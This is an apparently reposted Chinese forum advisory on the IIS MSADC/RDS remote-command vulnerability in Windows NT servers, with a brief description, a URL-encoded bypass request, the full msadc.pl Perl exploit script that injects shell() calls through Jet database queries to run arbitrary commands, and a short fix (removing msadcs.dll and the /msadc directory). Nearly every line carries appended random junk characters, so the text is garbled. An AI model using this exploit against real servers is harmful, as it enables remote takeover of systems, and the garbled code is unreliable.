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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) R:DW>LB  
8DNGqaH;dt  
涉及程序: "PPn^{bYm  
Microsoft NT server E)l@uPA'1  
nbz?D_  
描述: ;tLu  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 {mV,bg,}~  
c7N`W}BZ  
详细: -n$fh::^  
如果你没有时间读详细内容的话,就删除: r`/tb^  
c:\Program Files\Common Files\System\Msadc\msadcs.dll w-MnJ(r  
有关的安全问题就没有了。 %!1:BQ,p,i  
+EgQj*F*  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 I"+;L4o`  
<%rG*vzi  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 ^k?Ig.m  
关于利用ODBC远程漏洞的描述,请参看: WAcQRa~C  
2myHn/%C  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm F D6>[W  
9Q%Fel.  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 ^Q4m1? 40  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp )zVD!eG_9  
5 gbJTh<JU  
这里不再论述。 T|[ o  
#| Et9  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: iPJZ%  
8[;U|SR"  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset _nj?au(@`Y  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! fKAG+t  
Iih~rWJ  
~8EG0F;t  
#将下面这段保存为txt文件,然后: "perl -x 文件名" Lw.N3!e[  
'4qi^$|\  
#!perl E8Wgm 8  
# )f0t"lk  
# MSADC/RDS 'usage' (aka exploit) script !Hr +|HKQ?  
# -3c?Yaf"  
# by rain.forest.puppy 5fBW#6N/  
# z|SLH<~  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me R3$e q )  
# beta test and find errors! %8+'L4  
+x0-hRD  
use Socket; use Getopt::Std; %+9Mr ami  
getopts("e:vd:h:XR", \%args); 2FS,B\d  
;wz YZ5=Di  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; l$Y7CIH  
%-:6#b z  
if (!defined $args{h} && !defined $args{R}) { l>M&S^/s j  
print qq~ @Tr8.4  
Usage: msadc.pl -h <host> { -d <delay> -X -v } ZUMzWK5Th  
-h <host> = host you want to scan (ip or domain) HtIM8z#/  
-d <seconds> = delay between calls, default 1 second p_ QL{gn  
-X = dump Index Server path table, if available DY{JA *N  
-v = verbose @&2bLJJ+  
-e = external dictionary file for step 5 dYJW`Q;j.|  
eW+z@\d9Gz  
Or a -R will resume a command session ZuF-$]oL&  
BfF$  
~; exit;} F/}PN1#T  
` oYrW0Vm  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; ' 7>V4\"  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} */RtN`dh  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} |k> _ jO  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); :nw4K(:f  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} (a1s~  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } Z %MP:@z  
y)!K@  
if (!defined $args{R}){ $ret = &has_msadc; -q\1Tlc]3  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} BaTE59W  
NQ%lwE~  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" SVaC)O(  
. "cmd /c "; z&d&Ky  
$in=<STDIN>; chomp $in; V4Ql6vg_f  
$command="cmd /c " . $in ; ?!~CX`eMZ  
(Y!@,rKd   
if (defined $args{R}) {&load; exit;} ( _E<?  
#f~#38_  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; U w][U  
&try_btcustmr; vh+Ih Gi  
T.aY {Y  
print "\nStep 2: Trying to make our own DSN..."; 5>JrTO 5  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; dH zo_VV  
t8 #&bU X  
print "\nStep 3: Trying known DSNs..."; X'WbS  
&known_dsn; 'zZN]P  
m4|9p{E  
print "\nStep 4: Trying known .mdbs..."; A3bE3Fk$  
&known_mdb; uQ{ &x6.1  
2rf-pdOvG  
if (defined $args{e}){ D'#Wc#b  
print "\nStep 5: Trying dictionary of DSN names..."; TgVvp0F;  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } m Fwx},dl  
+dk}$w[ g  
print "Sorry Charley...maybe next time?\n"; QVI4<Rxg  
exit; $GYcZN&  
W[: n*h  
############################################################################## {KE858  
$AUC#<*C  
sub sendraw { # ripped and modded from whisker z6b!,lp  
sleep($delay); # it's a DoS on the server! At least on mine... N%:QaCZKw  
my ($pstr)=@_; U*=ebZno  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || 9=~"^dp54%  
die("Socket problems\n"); J(VJMS;_  
if(connect(S,pack "SnA4x8",2,80,$target)){ c:4M|t=  
select(S); $|=1; *K'(t  
print $pstr; my @in=<S>; soXeHjNl  
select(STDOUT); close(S); x\GCsVy  
return @in; )avli@W-3j  
} else { die("Can't connect...\n"); }} InMF$pw  
sV'(y>PP%  
############################################################################## X4lz?Y:*  
z'JtH^^Z  
sub make_header { # make the HTTP request kA{[k  
my $msadc=<<EOT $+)SW {7  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 [F/>pL5U$  
User-Agent: ACTIVEDATA gEMxK2MNXj  
Host: $ip u)M dFz  
Content-Length: $clen B3]q*ERAo  
Connection: Keep-Alive -S OP8G  
P|_>M SO1'  
ADCClientVersion:01.06 } O8|_d  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 [ K;3Qf)  
lh&Q{t(+8  
--!ADM!ROX!YOUR!WORLD! J"L+`i  
Content-Type: application/x-varg e-ILUzT  
Content-Length: $reqlen Z~ VOO7|m  
r'uD|T H  
EOT ^i2W=A'P  
; $msadc=~s/\n/\r\n/g; tpO%)*  
return $msadc;} J84Q|E  
%%}U -*b  
############################################################################## lO9ML-8C1  
5\V>Sj(  
sub make_req { # make the RDS request (hS j4Cp  
my ($switch, $p1, $p2)=@_; Tf) qd\  
my $req=""; my $t1, $t2, $query, $dsn; K 38e,O  
"m.jcKt  
if ($switch==1){ # this is the btcustmr.mdb query iVLfAN @  
$query="Select * from Customers where City=" . make_shell(); 0~Z >}(  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . &p%0cjg"Q  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} De@GNN"-  
,8nu%zcVn  
elsif ($switch==2){ # this is general make table query +6-c<m|  
$query="create table AZZ (B int, C varchar(10))"; Fx*iAH\e  
$dsn="$p1";} +*]"Yo~]}  
D.9qxM"Z>  
elsif ($switch==3){ # this is general exploit table query W~z 2Q so  
$query="select * from AZZ where C=" . make_shell(); BMkN68q  
$dsn="$p1";} @r^a/]5D  
F$y3oX  
elsif ($switch==4){ # attempt to hork file info from index server $DeHo"mg7m  
$query="select path from scope()"; 8e:J{EG~  
$dsn="Provider=MSIDXS;";} $014/IB  
/-)\$T1d  
elsif ($switch==5){ # bad query OaY.T  
$query="select"; P3UU~w+s  
$dsn="$p1";} oOlqlv  
_ ]@   
$t1= make_unicode($query); sa$CCQ  
$t2= make_unicode($dsn); 8i/5L=a"`  
$req = "\x02\x00\x03\x00"; '/%]B@!  
$req.= "\x08\x00" . pack ("S1", length($t1)); HjAhz  
$req.= "\x00\x00" . $t1 ; 4t]ccqX*{  
$req.= "\x08\x00" . pack ("S1", length($t2)); VAX@'iZr  
$req.= "\x00\x00" . $t2 ; w{l}(:xPp  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; |*ss`W7F,2  
return $req;} vg[A/$gLM  
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############################################################################## 3DRJl, v  
AI0YK"c?  
sub make_shell { # this makes the shell() statement 5gYv CW&~  
return "'|shell(\"$command\")|'";} hkB/ OJ  
$5N%!  
############################################################################## {Z0(V"Q  
#d2XVpO[0  
sub make_unicode { # quick little function to convert to unicode Is1P,`*!  
my ($in)=@_; my $out; ^)oBa=jL4  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } Cp4 U`]  
return $out;} i x2V?\  
`Y>'*4a\  
############################################################################## :}'5'oVG  
vqO d`_)  
sub rdo_success { # checks for RDO return success (this is kludge) KT$Za  
my (@in) = @_; my $base=content_start(@in); R8LJC]6Bh  
if($in[$base]=~/multipart\/mixed/){ Cw6\'p%l-\  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} 0M=A,`qk  
return 0;} (iQ< [3C=  
Yuo:hF\DH  
############################################################################## E><$sN6  
{\zTE1X9  
sub make_dsn { # this makes a DSN for us }7?_>  
my @drives=("c","d","e","f"); 6 G.(o  
print "\nMaking DSN: "; C.qN Bl*  
foreach $drive (@drives) { uH*moVw@5  
print "$drive: "; gySCK-(y  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . IAyyRl\  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" .n$c+{  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); 4Z8FLA+T,  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; FM$$0}X  
return 0 if $2 eq "404"; # not found/doesn't exist jN))|eD0x  
if($2 eq "200") { {txW>rZX  
foreach $line (@results) { (D2G.R\pr  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} S$#"bK/p^  
} return 0;} #gW"k;7P  
8/W(jVO(-  
############################################################################## 7PTw'+{  
nv$>iJ^~H  
sub verify_exists { 6Qtyv  
my ($page)=@_; jW]Q-  
my @results=sendraw("GET $page HTTP/1.0\n\n"); O-P'Ff"}t  
return $results[0];} Td,2.YMQ  
NM FgCL  
############################################################################## uuHg=8(  
/bdL.Y#V  
sub try_btcustmr { 2<$pai"yl  
my @drives=("c","d","e","f"); 'q>2WP|UY9  
my @dirs=("winnt","winnt35","winnt351","win","windows"); hTfq>jIB_  
lw+54lZX|  
foreach $dir (@dirs) { 3CL1Z\8To  
print "$dir -> "; # fun status so you can see progress XLHi  
foreach $drive (@drives) { pLYLHS`*  
print "$drive: "; # ditto X$r5KJU  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; +O$`8a)m  
$reqlenlen=length( "$reqlen" ); W%ml/ 4  
$clen= 206 + $reqlenlen + $reqlen; 1t+uMhy*y  
L6d^e53AP  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); K HyVI6N[  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} CFK{.{d]B  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} |P_voht  
^VI\:<\{  
############################################################################## g'X{  
Z  FIy  
sub odbc_error { ":v^Y 9  
my (@in)=@_; my $base; !NqLBrcv0  
my $base = content_start(@in); Qg6tJB   
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this xAwP  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; af@R\"N9c  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; tJe5`L  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; -HwqR Y s  
return $in[$base+4].$in[$base+5].$in[$base+6];} y^0 mf|  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; +MR]h [  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . xig4H7V  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} q$7w?(Lk  
N)X 3pWC8  
############################################################################## o[I s$j  
i/{dD"HwM  
sub verbose { xs 1V?0  
my ($in)=@_; B_DyH C\<  
return if !$verbose; h ?_@nQ!  
print STDOUT "\n$in\n";} ?_-5W9  
sA~Ijg"6  
############################################################################## rS>@>8k2,  
w`GjQIA  
sub save { zK_Q^M`  
my ($p1, $p2, $p3, $p4)=@_; /+wCx#!  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; xWK0p'E0  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; n\GN}?4  
close OUT;} x)R1aq  
y(<+=  
############################################################################## fJ  GwT  
&>n:7  
sub load { ffW-R)U|3  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; -!lSk?l  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); g es-nG-  
@p=<IN>; close(IN); lb{X6_.  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); i);BTwW)#]  
$target= inet_aton($ip) || die("inet_aton problems"); uS<og P  
print "Resuming to $ip ..."; qWU59:d^{  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; -G[TlH06  
if($p[1]==1) { lT?Vt`==~M  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; XE'3p6  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; )Vz=:.D  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); 3qQ}U}-;|  
if (rdo_success(@results)){print "Success!\n";} g#Z7ReMw  
else { print "failed\n"; verbose(odbc_error(@results));}} =qvn?I^/  
elsif ($p[1]==3){ <S^Hy&MD>  
if(run_query("$p[3]")){ zr ~4@JTS  
print "Success!\n";} else { print "failed\n"; }} '/s/o]'sUd  
elsif ($p[1]==4){ 5d;(D i5z  
if(run_query($drvst . "$p[3]")){ L)i6UAo  
print "Success!\n"; } else { print "failed\n"; }} B='(0Uxy-  
exit;} rR4?*90vjj  
?7#{#sj  
############################################################################## a|5<L  
O]XgA0]  
sub create_table { T |&u?  
my ($in)=@_; ^V~^[Yp  
$reqlen=length( make_req(2,$in,"") ) - 28; R5 i xG9  
$reqlenlen=length( "$reqlen" ); d};[^q6X  
$clen= 206 + $reqlenlen + $reqlen; 9ec>#Vxx  
my @results=sendraw(make_header() . make_req(2,$in,"")); )gx*;z@  
return 1 if rdo_success(@results); t*`G@Nj  
my $temp= odbc_error(@results); verbose($temp); Z,-J tl  
return 1 if $temp=~/Table 'AZZ' already exists/; UGxF}Q  
return 0;} x*!*2{  
ai<K6)  
############################################################################## ]DUmp6  
y1h3Ch>Y  
sub known_dsn { HHerL%/   
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go hWiHKR]  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", SmS6B5j\R  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", l\"CHwN?Y  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); ?e%u[Q0  
l1.eAs5U  
foreach $dSn (@dsns) { \qDY0hIv t  
print "."; a$EudD#+  
next if (!is_access("DSN=$dSn")); r]'[qaP  
if(create_table("DSN=$dSn")){ |.b&\  
print "$dSn successful\n"; nf-6[dg  
if(run_query("DSN=$dSn")){ tb>Q#QB&u  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { F=?GV\Tw  
print "Something's borked. Use verbose next time\n";}}} print "\n";} | 2GrOM&S  
ewdcAF5  
############################################################################## hh$i1n  
4}Y? :R  
sub is_access { 24po}nrO  
my ($in)=@_; sDvy(5  
$reqlen=length( make_req(5,$in,"") ) - 28; gW?Hd/  
$reqlenlen=length( "$reqlen" ); tiy#b8  
$clen= 206 + $reqlenlen + $reqlen; r3Kx  
my @results=sendraw(make_header() . make_req(5,$in,"")); BC85#sbl  
my $temp= odbc_error(@results);  T4J WZ  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); N3V4Mpf  
return 0;} YkQ=rurE  
sHPlNwyy  
############################################################################## +f}w+  
oore:`m;  
sub run_query { "AlR%:]24~  
my ($in)=@_; _dc,}C  
$reqlen=length( make_req(3,$in,"") ) - 28; 4^*Z[6nt|  
$reqlenlen=length( "$reqlen" ); l$!Z};mw0E  
$clen= 206 + $reqlenlen + $reqlen; S^N{=*  
my @results=sendraw(make_header() . make_req(3,$in,"")); /GO((v+J  
return 1 if rdo_success(@results); qP+%ui5xR  
my $temp= odbc_error(@results); verbose($temp); {qm5H7sL  
return 0;} -%Jm-^F I  
+O1=Ao  
############################################################################## S] 4RGWn  
r!^VCA  
sub known_mdb { ?'>[n m  
my @drives=("c","d","e","f","g"); <J]N E|:  
my @dirs=("winnt","winnt35","winnt351","win","windows"); ,!^g8zO  
my $dir, $drive, $mdb; MIu'OJ"z~  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; _$mS=G(  
PKev)M;C+  
# this is sparse, because I don't know of many k#2b3}(,  
my @sysmdbs=( "\\catroot\\icatalog.mdb", Qqd+=mgc  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", #UnGU,J  
"\\system32\\certmdb.mdb", QZ5%nJme_  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% !MOcF5M  
PkOtg[Z  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", {\ VmNnw  
"\\cfusion\\cfapps\\forums\\forums_.mdb", /AIFgsaY  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", ; X/'ujg  
"\\cfusion\\cfapps\\security\\realm_.mdb", yn2k!2]&T<  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", m~@Lt~LZs  
"\\cfusion\\database\\cfexamples.mdb", tbB.n  
"\\cfusion\\database\\cfsnippets.mdb", YCBUc<)  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", >qdRqy)DC  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", r2&/Ii+  
"\\cfusion\\brighttiger\\database\\cleam.mdb", RRtOBrIedI  
"\\cfusion\\database\\smpolicy.mdb", 1 y7$"N8Xo  
"\\cfusion\\database\cypress.mdb", _Ry  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", @iVEnb.'  
"\\website\\cgi-win\\dbsample.mdb", ZO\bCrk  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", (DM8PtZg  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" d 8z9_C-  
); #these are just L @8[.  
foreach $drive (@drives) { c- [IgX e  
foreach $dir (@dirs){ WWA!_  
foreach $mdb (@sysmdbs) { ?osYs<k \  
print "."; Lf,C5 0  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ =/N0^  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; =Q8$O 2TW  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ YY$O"!."  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; hw&~OJeo  
} else { print "Something's borked. Use verbose next time\n"; }}}}} tY?evsVgz  
6}_J;g\|  
foreach $drive (@drives) { Bn Nu/02.=  
foreach $mdb (@mdbs) { ]Wc 2$  
print "."; #~6X9,x=  
if(create_table($drv . $drive . $dir . $mdb)){ 7v(<<>  
print "\n" . $drive . $dir . $mdb . " successful\n"; (Jy > ,~O  
if(run_query($drv . $drive . $dir . $mdb)){ z6OJT6<'  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; !M k]%  
} else { print "Something's borked. Use verbose next time\n"; }}}} Z?'?+48xv4  
} Wp=:|J   
0urM@/j+  
############################################################################## Eqh&<]q  
+B OuU#  
sub hork_idx { .:;#[Z{-  
print "\nAttempting to dump Index Server tables...\n"; kJ0otr2P  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; Rx4O?7;  
$reqlen=length( make_req(4,"","") ) - 28; ulXe;2  
$reqlenlen=length( "$reqlen" ); KkZo|\V  
$clen= 206 + $reqlenlen + $reqlen; D]Gt=2\NG9  
my @results=sendraw2(make_header() . make_req(4,"","")); MLn?t^v-  
if (rdo_success(@results)){ G]I^zd&P  
my $max=@results; my $c; my %d; ?tYc2R9x6"  
for($c=19; $c<$max; $c++){ d\rs/ee  
$results[$c]=~s/\x00//g; ;hPo5uZQ  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; ,,(BW7(  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; SVT'fPm1M  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; }/z\%Y  
$d{"$1$2"}="";} 4!<[5+.  
foreach $c (keys %d){ print "$c\n"; } Oc^bbC  
} else {print "Index server doesn't seem to be installed.\n"; }} 4Bq4d.0  
.w~zW*M0  
############################################################################## OSCeTkR  
MtK5>mhZI`  
sub dsn_dict { -MeO|HWm  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); b .v^:M  
while(<IN>){ 9/50+2F  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; f@J-6uQ7w  
next if (!is_access("DSN=$dSn")); tJ9`Ys  
if(create_table("DSN=$dSn")){ Fy]j33E  
print "$dSn successful\n"; _qhYG1t  
if(run_query("DSN=$dSn")){ T8J[B( )L  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { " ZFK-jn/  
print "Something's borked. Use verbose next time\n";}}} MXuiQ;./  
print "\n"; close(IN);} ESv&x6H  
wz 5*?[4  
############################################################################## 0t}&32lL&  
8Vqh1<  
sub sendraw2 { # ripped and modded from whisker (B;rjpK  
sleep($delay); # it's a DoS on the server! At least on mine... WUqfY?5  
my ($pstr)=@_; J9/}ZD^  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || u:&Lf  
die("Socket problems\n"); G |vG5$Nf  
if(connect(S,pack "SnA4x8",2,80,$target)){ 97(*-e=e  
print "Connected. Getting data"; 9p<ZSh  
open(OUT,">raw.out"); my @in; j*N:Kdzvl  
select(S); $|=1; print $pstr; cXvq=Rb  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} $v+t ~b  
close(OUT); select(STDOUT); close(S); return @in; ~@bh[o~rF  
} else { die("Can't connect...\n"); }} Zae$M0)  
HWT^u$a"  
############################################################################## XqTDLM&  
|0/~7l  
sub content_start { # this will take in the server headers = eDi8A*~  
my (@in)=@_; my $c; ]Syr{|  
for ($c=1;$c<500;$c++) { AIFI@#3  
if($in[$c] =~/^\x0d\x0a/){ 6'qC *r   
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } m%km@G$  
else { return $c+1; }}} TwXqk>J  
return -1;} # it should never get here actually YV>]c9!q  
V3$Yr"rZ;  
############################################################################## IPT\d^|f  
.`K<Iug1  
sub funky { |Ptv)D  
my (@in)=@_; my $error=odbc_error(@in); [.NG~ cpb  
if($error=~/ADO could not find the specified provider/){ )R'~{;z }  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; Qtpw0t"  
exit;} DZ Q=Sinry  
if($error=~/A Handler is required/){ Ljjuf=]  
print "\nServer has custom handler filters (they most likely are patched)\n"; BSB;0OM  
exit;} G\ht)7SGgf  
if($error=~/specified Handler has denied Access/){ ~1v5H]T{  
print "\nServer has custom handler filters (they most likely are patched)\n"; F"Y.'my8  
exit;}} Sq,x57-  
Cl5l+I\1  
############################################################################## &I$MV5)u  
("B[P/  
sub has_msadc { 3ud_d>  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); Wc+)EX~KS  
my $base=content_start(@results); $kef_*BQg  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); oMV<Yn_<  
return 0;} /&#Gh?z  
/ `Glf|  
######################## Th6xwMq  
3B5GsI  
OWRT6R4v  
解决方案: G&HCOR!h  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll 8=U0\<wT  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 r{T}pc>^  
/RzL,~]  
拿出来充数 哈哈
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